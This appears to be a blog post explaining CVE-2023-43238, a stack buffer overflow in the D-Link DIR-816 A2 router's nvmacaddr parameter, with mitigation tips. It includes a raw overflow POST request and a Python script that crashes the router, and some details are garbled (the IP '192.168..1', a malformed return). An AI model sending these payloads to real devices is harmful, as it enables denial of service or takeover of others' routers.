If you use a D-Link DIR-816 A2 router (specifically, firmware version v1.10CNB05), listen up. CVE-2023-43238 is a recently discovered vulnerability that can put your home or small office network at risk. This post thoroughly explains the bug, shows you exactly where in the code the problem appears, and even provides an example exploit, all using plain language.

What is CVE-2023-43238?

CVE-2023-43238 is a stack overflow vulnerability found in the D-Link DIR-816 A2 router. It lives in the web management interface, specifically in the /form2Dhcpip.cgi endpoint, which lets administrators adjust network settings via a web browser.

The target is the nvmacaddr parameter – the one that’s supposed to set the router’s MAC address in DHCP configuration.

How Does the Vulnerability Work?

When you, or anyone, sends data to /form2Dhcpip.cgi with a POST request, one parameter called nvmacaddr doesn’t get checked for length or valid formatting at all. The router’s backend code just copies whatever’s there straight onto the stack using a vulnerable function – usually strcpy or something similar – without any size check.

This leads to a classic stack buffer overflow. An attacker can send a maliciously crafted string; if it’s too long, it’ll overwrite nearby memory on the stack. That means attacker-controlled code execution is possible — basically, attackers can take over the device from the public internet, if remote management is enabled or the router is exposed.

The Suspected Vulnerable Code

Based on reverse engineering and vulnerability reports, the routine for handling this parameter looks like this (simplified for clarity):

int handle_form2Dhcpip_cgi(char* nvmacaddr) {
    char buff[64];
    // Dangerous: copies the user-supplied nvmacaddr into buff without bounds checking
    strcpy(buff, nvmacaddr); // <-- Stack overflow happens here if nvmacaddr is too long
    // ... [other code using buff]
    return ;
}

If nvmacaddr is longer than 64 bytes, the excess data will overwrite whatever’s next on the stack: return addresses, local variables, or even function pointers.

How Can This Be Exploited?

To exploit, an attacker just needs network access to the router (typically http://192.168..1 or whatever its LAN IP is). They send a specially crafted POST request like this:

POST /form2Dhcpip.cgi HTTP/1.1
Host: 192.168..1
Content-Type: application/x-www-form-urlencoded
Content-Length: 120

nvmacaddr=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Here, nvmacaddr is set to a long string (“A” repeated over and over). The router will choke when copying this into its stack buffer.

A real-world attacker would use this overflow to insert shellcode or overwrite return addresses, causing the router to run code of their choice (like opening a reverse shell or downloading malware).

You can test this (on your own device, responsibly!), using Python and the requests library

import requests

url = 'http://192.168..1/form2Dhcpip.cgi'
data = {
    'nvmacaddr': 'A' * 200   # 200 bytes - overflows the 64-byte buffer
}

res = requests.post(url, data=data)
print("Response status:", res.status_code)
print("Response body:", res.text)

Warning: This may crash your router – use responsibly and only on devices you own!

Disable remote management if possible.

- Place your administration interface behind a firewall or VLAN separate from guest/wireless networks.
- Watch for firmware updates from D-Link’s official site.

Original References

- NVD Entry – CVE-2023-43238
- Mitre CVE Page
- Firmware Download Center (D-Link official site)

Summary

CVE-2023-43238 in D-Link DIR-816 A2 v1.10CNB05 is a stack overflow bug from unsafe handling of the nvmacaddr parameter in DHCP settings. This vulnerability allows remote attackers to crash the device or run arbitrary code.

If you use this router, either restrict access or upgrade whenever a patch releases. Until then, stay vigilant, and never expose your admin interface to the entire internet!


*Got questions or need further help? Drop a reply or send me a private message for more technical details and remediation advice.*

Timeline

Published on: 09/21/2023 13:15:10 UTC
Last modified on: 09/22/2023 02:19:15 UTC